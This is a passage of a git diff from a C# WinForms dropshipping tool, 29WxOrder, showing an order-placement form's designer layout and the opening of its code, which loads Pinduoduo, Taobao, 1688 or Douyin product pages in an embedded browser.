this.UpShopProNumTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label14 = new System.Windows.Forms.Label(); + this.SalesAmountTextBox = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label13 = new System.Windows.Forms.Label(); + this.textBoxXProfit = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblProfit = new System.Windows.Forms.Label(); + this.textBoxXGoodPrice = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelPrice = new System.Windows.Forms.Label(); + this.buyCountTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label11 = new System.Windows.Forms.Label(); + this.addressTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.mobileTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.userNameTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.plBrower = new System.Windows.Forms.Panel(); + this.pnlManualSaveBuyOrderId = new System.Windows.Forms.Panel(); + this.btnExit = new System.Windows.Forms.Button(); + this.btnManualSave = new System.Windows.Forms.Button(); + this.txtManualBuyOrderId = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label6 = new System.Windows.Forms.Label(); + this.btnChangeMultiBuyer = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.panel3.SuspendLayout(); + this.groupBox1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.plBrower.SuspendLayout(); + this.pnlManualSaveBuyOrderId.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(713, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.plBrower); + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(741, 721); + this.panel1.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.label1.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label1.Location = new System.Drawing.Point(505, -1); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(3, 725); + this.label1.TabIndex = 2; + // + // panel3 + // + this.panel3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel3.Controls.Add(this.txtRemark); + this.panel3.Controls.Add(this.label7); + this.panel3.Controls.Add(this.tbsku); + this.panel3.Controls.Add(this.label5); + this.panel3.Controls.Add(this.btGoProduct); + this.panel3.Controls.Add(this.btbuySku); + this.panel3.Controls.Add(this.btupdateAddress); + this.panel3.Controls.Add(this.tbproductjj); + this.panel3.Controls.Add(this.lbjjpice); + this.panel3.Controls.Add(this.groupBox1); + this.panel3.Controls.Add(this.combSkuList); + this.panel3.Controls.Add(this.label10); + this.panel3.Controls.Add(this.textBoxXCommission); + this.panel3.Controls.Add(this.labelCommission); + this.panel3.Controls.Add(this.UpShopProNumTextBoxX); + this.panel3.Controls.Add(this.label14); + this.panel3.Controls.Add(this.SalesAmountTextBox); + this.panel3.Controls.Add(this.label13); + this.panel3.Controls.Add(this.textBoxXProfit); + this.panel3.Controls.Add(this.lblProfit); + this.panel3.Controls.Add(this.textBoxXGoodPrice); + this.panel3.Controls.Add(this.labelPrice); + this.panel3.Controls.Add(this.buyCountTextBoxX); + this.panel3.Controls.Add(this.label11); + this.panel3.Controls.Add(this.addressTextBoxX); + this.panel3.Controls.Add(this.mobileTextBoxX); + this.panel3.Controls.Add(this.userNameTextBoxX); + this.panel3.Controls.Add(this.label4); + this.panel3.Controls.Add(this.label3); + this.panel3.Controls.Add(this.label2); + this.panel3.Location = new System.Drawing.Point(510, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(231, 721); + this.panel3.TabIndex = 1; + // + // txtRemark + // + // + // + // + this.txtRemark.Border.Class = "TextBoxBorder"; + this.txtRemark.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtRemark.Location = new System.Drawing.Point(63, 345); + this.txtRemark.Name = "txtRemark"; + this.txtRemark.ReadOnly = true; + this.txtRemark.Size = new System.Drawing.Size(164, 21); + this.txtRemark.TabIndex = 510; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(3, 349); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(65, 12); + this.label7.TabIndex = 509; + this.label7.Text = "订单备注:"; + // + // tbsku + // + // + // + // + this.tbsku.Border.Class = "TextBoxBorder"; + this.tbsku.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbsku.Location = new System.Drawing.Point(63, 421); + this.tbsku.Multiline = true; + this.tbsku.Name = "tbsku"; + this.tbsku.ReadOnly = true; + this.tbsku.Size = new System.Drawing.Size(164, 56); + this.tbsku.TabIndex = 508; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(3, 425); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(65, 12); + this.label5.TabIndex = 507; + this.label5.Text = "购买规格:"; + // + // btGoProduct + // + this.btGoProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btGoProduct.Location = new System.Drawing.Point(5, 692); + this.btGoProduct.Name = "btGoProduct"; + this.btGoProduct.Size = new System.Drawing.Size(223, 23); + this.btGoProduct.TabIndex = 506; + this.btGoProduct.Text = "返回商品首页"; + this.btGoProduct.UseVisualStyleBackColor = true; + this.btGoProduct.Click += new System.EventHandler(this.btGoProduct_Click); + // + // btbuySku + // + this.btbuySku.BackColor = System.Drawing.Color.Gainsboro; + this.btbuySku.FlatAppearance.BorderColor = System.Drawing.Color.DarkGray; + this.btbuySku.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btbuySku.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btbuySku.Location = new System.Drawing.Point(63, 395); + this.btbuySku.Name = "btbuySku"; + this.btbuySku.Size = new System.Drawing.Size(164, 23); + this.btbuySku.TabIndex = 505; + this.btbuySku.Text = "购买选中SKU商品"; + this.btbuySku.UseVisualStyleBackColor = false; + this.btbuySku.Click += new System.EventHandler(this.btbuySku_Click); + // + // btupdateAddress + // + this.btupdateAddress.BackColor = System.Drawing.Color.Gainsboro; + this.btupdateAddress.FlatAppearance.BorderColor = System.Drawing.Color.DarkGray; + this.btupdateAddress.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btupdateAddress.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btupdateAddress.Location = new System.Drawing.Point(63, 127); + this.btupdateAddress.Name = "btupdateAddress"; + this.btupdateAddress.Size = new System.Drawing.Size(164, 23); + this.btupdateAddress.TabIndex = 504; + this.btupdateAddress.Text = "修改为自定义地址"; + this.btupdateAddress.UseVisualStyleBackColor = false; + this.btupdateAddress.Click += new System.EventHandler(this.btupdateAddress_Click); + // + // tbproductjj + // + // + // + // + this.tbproductjj.Border.Class = "TextBoxBorder"; + this.tbproductjj.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbproductjj.Location = new System.Drawing.Point(63, 210); + this.tbproductjj.Name = "tbproductjj"; + this.tbproductjj.ReadOnly = true; + this.tbproductjj.Size = new System.Drawing.Size(164, 21); + this.tbproductjj.TabIndex = 503; + // + // lbjjpice + // + this.lbjjpice.AutoSize = true; + this.lbjjpice.Location = new System.Drawing.Point(3, 214); + this.lbjjpice.Name = "lbjjpice"; + this.lbjjpice.Size = new System.Drawing.Size(65, 12); + this.lbjjpice.TabIndex = 502; + this.lbjjpice.Text = "商品进价:"; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.pictureBox1); + this.groupBox1.Location = new System.Drawing.Point(5, 484); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(223, 205); + this.groupBox1.TabIndex = 501; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "SKU规格图"; + // + // pictureBox1 + // + this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(3, 17); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(217, 185); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 502; + this.pictureBox1.TabStop = false; + // + // combSkuList + // + this.combSkuList.FormattingEnabled = true; + this.combSkuList.Location = new System.Drawing.Point(63, 372); + this.combSkuList.Name = "combSkuList"; + this.combSkuList.Size = new System.Drawing.Size(164, 20); + this.combSkuList.TabIndex = 499; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(3, 376); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(65, 12); + this.label10.TabIndex = 500; + this.label10.Text = "选择规格:"; + // + // textBoxXCommission + // + // + // + // + this.textBoxXCommission.Border.Class = "TextBoxBorder"; + this.textBoxXCommission.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxXCommission.Location = new System.Drawing.Point(63, 237); + this.textBoxXCommission.Name = "textBoxXCommission"; + this.textBoxXCommission.ReadOnly = true; + this.textBoxXCommission.Size = new System.Drawing.Size(164, 21); + this.textBoxXCommission.TabIndex = 498; + // + // labelCommission + // + this.labelCommission.AutoSize = true; + this.labelCommission.Location = new System.Drawing.Point(3, 241); + this.labelCommission.Name = "labelCommission"; + this.labelCommission.Size = new System.Drawing.Size(65, 12); + this.labelCommission.TabIndex = 497; + this.labelCommission.Text = "设置佣金:"; + // + // UpShopProNumTextBoxX + // + // + // + // + this.UpShopProNumTextBoxX.Border.Class = "TextBoxBorder"; + this.UpShopProNumTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.UpShopProNumTextBoxX.Location = new System.Drawing.Point(63, 318); + this.UpShopProNumTextBoxX.Name = "UpShopProNumTextBoxX"; + this.UpShopProNumTextBoxX.ReadOnly = true; + this.UpShopProNumTextBoxX.Size = new System.Drawing.Size(164, 21); + this.UpShopProNumTextBoxX.TabIndex = 496; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.ForeColor = System.Drawing.Color.Red; + this.label14.Location = new System.Drawing.Point(3, 322); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(65, 12); + this.label14.TabIndex = 495; + this.label14.Text = "总店商品:"; + // + // SalesAmountTextBox + // + // + // + // + this.SalesAmountTextBox.Border.Class = "TextBoxBorder"; + this.SalesAmountTextBox.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.SalesAmountTextBox.Location = new System.Drawing.Point(63, 291); + this.SalesAmountTextBox.Name = "SalesAmountTextBox"; + this.SalesAmountTextBox.ReadOnly = true; + this.SalesAmountTextBox.Size = new System.Drawing.Size(164, 21); + this.SalesAmountTextBox.TabIndex = 494; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.ForeColor = System.Drawing.Color.Red; + this.label13.Location = new System.Drawing.Point(3, 295); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(65, 12); + this.label13.TabIndex = 493; + this.label13.Text = "总店销量:"; + // + // textBoxXProfit + // + // + // + // + this.textBoxXProfit.Border.Class = "TextBoxBorder"; + this.textBoxXProfit.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxXProfit.Location = new System.Drawing.Point(63, 264); + this.textBoxXProfit.Name = "textBoxXProfit"; + this.textBoxXProfit.ReadOnly = true; + this.textBoxXProfit.Size = new System.Drawing.Size(164, 21); + this.textBoxXProfit.TabIndex = 492; + this.textBoxXProfit.TextChanged += new System.EventHandler(this.textBoxXProfit_TextChanged); + // + // lblProfit + // + this.lblProfit.AutoSize = true; + this.lblProfit.ForeColor = System.Drawing.Color.Red; + this.lblProfit.Location = new System.Drawing.Point(3, 268); + this.lblProfit.Name = "lblProfit"; + this.lblProfit.Size = new System.Drawing.Size(65, 12); + this.lblProfit.TabIndex = 491; + this.lblProfit.Text = "本单利润:"; + // + // textBoxXGoodPrice + // + // + // + // + this.textBoxXGoodPrice.Border.Class = "TextBoxBorder"; + this.textBoxXGoodPrice.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxXGoodPrice.Location = new System.Drawing.Point(63, 183); + this.textBoxXGoodPrice.Name = "textBoxXGoodPrice"; + this.textBoxXGoodPrice.ReadOnly = true; + this.textBoxXGoodPrice.Size = new System.Drawing.Size(164, 21); + this.textBoxXGoodPrice.TabIndex = 490; + // + // labelPrice + // + this.labelPrice.AutoSize = true; + this.labelPrice.Location = new System.Drawing.Point(3, 187); + this.labelPrice.Name = "labelPrice"; + this.labelPrice.Size = new System.Drawing.Size(65, 12); + this.labelPrice.TabIndex = 489; + this.labelPrice.Text = "商品售价:"; + // + // buyCountTextBoxX + // + // + // + // + this.buyCountTextBoxX.Border.Class = "TextBoxBorder"; + this.buyCountTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.buyCountTextBoxX.Location = new System.Drawing.Point(63, 156); + this.buyCountTextBoxX.Name = "buyCountTextBoxX"; + this.buyCountTextBoxX.Size = new System.Drawing.Size(164, 21); + this.buyCountTextBoxX.TabIndex = 488; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(3, 160); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(65, 12); + this.label11.TabIndex = 487; + this.label11.Text = "购买数量:"; + // + // addressTextBoxX + // + // + // + // + this.addressTextBoxX.Border.Class = "TextBoxBorder"; + this.addressTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.addressTextBoxX.Location = new System.Drawing.Point(63, 59); + this.addressTextBoxX.Multiline = true; + this.addressTextBoxX.Name = "addressTextBoxX"; + this.addressTextBoxX.Size = new System.Drawing.Size(164, 65); + this.addressTextBoxX.TabIndex = 474; + // + // mobileTextBoxX + // + // + // + // + this.mobileTextBoxX.Border.Class = "TextBoxBorder"; + this.mobileTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.mobileTextBoxX.Location = new System.Drawing.Point(63, 32); + this.mobileTextBoxX.Name = "mobileTextBoxX"; + this.mobileTextBoxX.Size = new System.Drawing.Size(164, 21); + this.mobileTextBoxX.TabIndex = 473; + // + // userNameTextBoxX + // + // + // + // + this.userNameTextBoxX.Border.Class = "TextBoxBorder"; + this.userNameTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.userNameTextBoxX.Location = new System.Drawing.Point(63, 5); + this.userNameTextBoxX.Name = "userNameTextBoxX"; + this.userNameTextBoxX.Size = new System.Drawing.Size(164, 21); + this.userNameTextBoxX.TabIndex = 472; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(3, 63); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(65, 12); + this.label4.TabIndex = 471; + this.label4.Text = "买家地址:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(3, 36); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(65, 12); + this.label3.TabIndex = 470; + this.label3.Text = "买家电话:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(65, 12); + this.label2.TabIndex = 469; + this.label2.Text = "买家姓名:"; + // + // plBrower + // + this.plBrower.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.plBrower.Controls.Add(this.btnChangeMultiBuyer); + this.plBrower.Controls.Add(this.pnlManualSaveBuyOrderId); + this.plBrower.Location = new System.Drawing.Point(0, 0); + this.plBrower.Name = "plBrower"; + this.plBrower.Size = new System.Drawing.Size(504, 721); + this.plBrower.TabIndex = 0; + // + // pnlManualSaveBuyOrderId + // + this.pnlManualSaveBuyOrderId.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlManualSaveBuyOrderId.Controls.Add(this.btnExit); + this.pnlManualSaveBuyOrderId.Controls.Add(this.btnManualSave); + this.pnlManualSaveBuyOrderId.Controls.Add(this.txtManualBuyOrderId); + this.pnlManualSaveBuyOrderId.Controls.Add(this.label6); + this.pnlManualSaveBuyOrderId.Location = new System.Drawing.Point(7, 683); + this.pnlManualSaveBuyOrderId.Name = "pnlManualSaveBuyOrderId"; + this.pnlManualSaveBuyOrderId.Size = new System.Drawing.Size(489, 32); + this.pnlManualSaveBuyOrderId.TabIndex = 474; + this.pnlManualSaveBuyOrderId.Visible = false; + // + // btnExit + // + this.btnExit.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExit.Location = new System.Drawing.Point(377, 5); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(107, 23); + this.btnExit.TabIndex = 508; + this.btnExit.Text = "未拍单直接退出"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // + // btnManualSave + // + this.btnManualSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnManualSave.Location = new System.Drawing.Point(266, 5); + this.btnManualSave.Name = "btnManualSave"; + this.btnManualSave.Size = new System.Drawing.Size(107, 23); + this.btnManualSave.TabIndex = 507; + this.btnManualSave.Text = "确认已拍单成功"; + this.btnManualSave.UseVisualStyleBackColor = true; + this.btnManualSave.Click += new System.EventHandler(this.btnManualSave_Click); + // + // txtManualBuyOrderId + // + this.txtManualBuyOrderId.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtManualBuyOrderId.Border.Class = "TextBoxBorder"; + this.txtManualBuyOrderId.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtManualBuyOrderId.Location = new System.Drawing.Point(108, 6); + this.txtManualBuyOrderId.Name = "txtManualBuyOrderId"; + this.txtManualBuyOrderId.Size = new System.Drawing.Size(153, 21); + this.txtManualBuyOrderId.TabIndex = 473; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(13, 10); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(101, 12); + this.label6.TabIndex = 498; + this.label6.Text = "手动填写订单号:"; + // + // btnChangeMultiBuyer + // + this.btnChangeMultiBuyer.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnChangeMultiBuyer.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnChangeMultiBuyer.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnChangeMultiBuyer.DisabledBackColor = System.Drawing.Color.Empty; + this.btnChangeMultiBuyer.Font = new System.Drawing.Font("微软雅黑", 8F); + this.btnChangeMultiBuyer.Location = new System.Drawing.Point(439, 3); + this.btnChangeMultiBuyer.Name = "btnChangeMultiBuyer"; + this.btnChangeMultiBuyer.Size = new System.Drawing.Size(62, 21); + this.btnChangeMultiBuyer.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeMultiBuyer.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnChangeMultiBuyer.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnChangeMultiBuyer.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnChangeMultiBuyer.Style.CornerDiameter = 1; + this.btnChangeMultiBuyer.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btnChangeMultiBuyer.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnChangeMultiBuyer.Style.GradientAngle = 90; + this.btnChangeMultiBuyer.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeMultiBuyer.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnChangeMultiBuyer.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnChangeMultiBuyer.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeMultiBuyer.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnChangeMultiBuyer.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnChangeMultiBuyer.TabIndex = 813; + this.btnChangeMultiBuyer.Text = "切换多买手"; + this.btnChangeMultiBuyer.Visible = false; + this.btnChangeMultiBuyer.Click += new System.EventHandler(this.btnChangeMultiBuyer_Click); + // + // BuyOrderForms + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(745, 755); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "BuyOrderForms"; + this.Text = "BuyOrderForms"; + this.TitleText = "BuyOrderForms"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.BuyOrderForms_FormClosing); + this.Load += new System.EventHandler(this.BuyOrderForms_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.groupBox1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.plBrower.ResumeLayout(false); + this.pnlManualSaveBuyOrderId.ResumeLayout(false); + this.pnlManualSaveBuyOrderId.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxXCommission; + private System.Windows.Forms.Label labelCommission; + private DevComponents.DotNetBar.Controls.TextBoxX UpShopProNumTextBoxX; + private System.Windows.Forms.Label label14; + private DevComponents.DotNetBar.Controls.TextBoxX SalesAmountTextBox; + private System.Windows.Forms.Label label13; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxXProfit; + private System.Windows.Forms.Label lblProfit; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxXGoodPrice; + private System.Windows.Forms.Label labelPrice; + private DevComponents.DotNetBar.Controls.TextBoxX buyCountTextBoxX; + private System.Windows.Forms.Label label11; + private DevComponents.DotNetBar.Controls.TextBoxX addressTextBoxX; + private DevComponents.DotNetBar.Controls.TextBoxX mobileTextBoxX; + private DevComponents.DotNetBar.Controls.TextBoxX userNameTextBoxX; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Panel plBrower; + private System.Windows.Forms.ComboBox combSkuList; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.TextBoxX tbproductjj; + private System.Windows.Forms.Label lbjjpice; + private System.Windows.Forms.Button btupdateAddress; + private System.Windows.Forms.Button btGoProduct; + private System.Windows.Forms.Button btbuySku; + private DevComponents.DotNetBar.Controls.TextBoxX tbsku; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Panel pnlManualSaveBuyOrderId; + private System.Windows.Forms.Button btnManualSave; + private DevComponents.DotNetBar.Controls.TextBoxX txtManualBuyOrderId; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Button btnExit; + private DevComponents.DotNetBar.Controls.TextBoxX txtRemark; + private System.Windows.Forms.Label label7; + private DevComponents.DotNetBar.PanelEx btnChangeMultiBuyer; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/BuyOrderForms.cs b/29WxOrder/OrderForms/BuyOrderForms.cs new file mode 100644 index 0000000..4e4247d --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderForms.cs @@ -0,0 +1,3426 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Helper; +using AllBase.Model; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using _29WxOrder.ToolForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; +using Work.Pinduoduo; + +namespace _29WxOrder.OrderForms +{ + public partial class BuyOrderForms : BaseForm + { + public string datajsons = ""; + public BuyOrderForms() + { + InitializeComponent(); + } + public delegate void delegateView(); + public string userAgent = "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36"; + // "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + public ChromiumWebBrowser cefWebBrowser1 = null; + //private NaiBa.CefHelper.RequestHandler requestHandler = null; + private _29WxOrder.Helper.CustomResourceRequestHandler resourceRequestHandler = null; + public delegate void delegateClick(object sender, EventArgs e); + public string order_id; + public DouYinOrderModel orderDetail; + public AllBase.Model.Result.DouShopLoginInfo shop; + public string webUrl = "https://yangkeduo.com/goods.html?goods_id="; + public static string PddUid = ""; + public string detailHtml = "";//商品详情 + public long goodsId = 107540883303, Times = 0; + public string Mobile = "", Address = "", bName = ""; + public string UpId = ""; + public BuyOrderListForm buyOrderListForm; + public SendOrderListForms sendOrderForms; + public static bool GetIni = true; + public AllBase.Model.PddPifaShopInfo pddPifaUser = null; + public List pddPifaCookieList = new List(); + public string SkuLite = ""; + public string pddPifaCookies + { + get + { + string s = ""; + foreach (var c in pddPifaCookieList) + { + s += c.Name + "=" + c.Value + ";"; + } + return s; + } + } + PddMultiBuyerInfo multiUserCookie; + public MainForm mainform; + + /// + /// 多买手拍单是否已切换买手号标记 + /// + bool changeuser = false; + /// + /// 是否已进入了微信支付 + /// + bool wechatpay = false; + + public void BuyOrderForms_Load(object sender, EventArgs e) + { + if (GetIni && CollectionClass.Province.Count == 0) + { + new Thread(IniAddress).Start(); + GetIni = false; + } + + this.Text = "拍单"; + this.TitleText = "拍单"; + Bitmap skuImg = null; + if (!string.IsNullOrEmpty(orderDetail.sku_img)) + { + try + { + var img = Image.FromStream(System.Net.WebRequest.Create(orderDetail.sku_img).GetResponse().GetResponseStream()); + skuImg = new Bitmap(img, new Size(220, 220)); + } + catch (Exception) + { + skuImg = null; + } + } + pictureBox1.Image = skuImg; + if (UpId.Contains("dy-")) + { + webUrl = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + } + if (UpId.Contains("tb-")) + { + this.Width = 1380; + webUrl = "https://item.taobao.com/item.htm?id="; + webUrl = webUrl + goodsId; + if (!string.IsNullOrEmpty(BaseClass.taobaolianmengURL)) + { + try + { + if (BaseClass.taobaolianmengURL.Contains("taobao.com")) + { + string taobaoid = BaseRegex.GetMatchRegexString(ref BaseClass.taobaolianmengURL, "goods_id=([\\s\\S]+?)&"); + webUrl = BaseClass.taobaolianmengURL.Replace(taobaoid, goodsId.ToString()); + } + } + catch (Exception) + { + + } + } + } + else if (UpId.StartsWith("al-") || UpId.StartsWith("1688-")) + { + this.Width = 1380; + webUrl = "https://detail.1688.com/offer/" + goodsId + ".html"; + } + else if (UpId.StartsWith("pd-") || UpId.StartsWith("pdd-")) + { + if 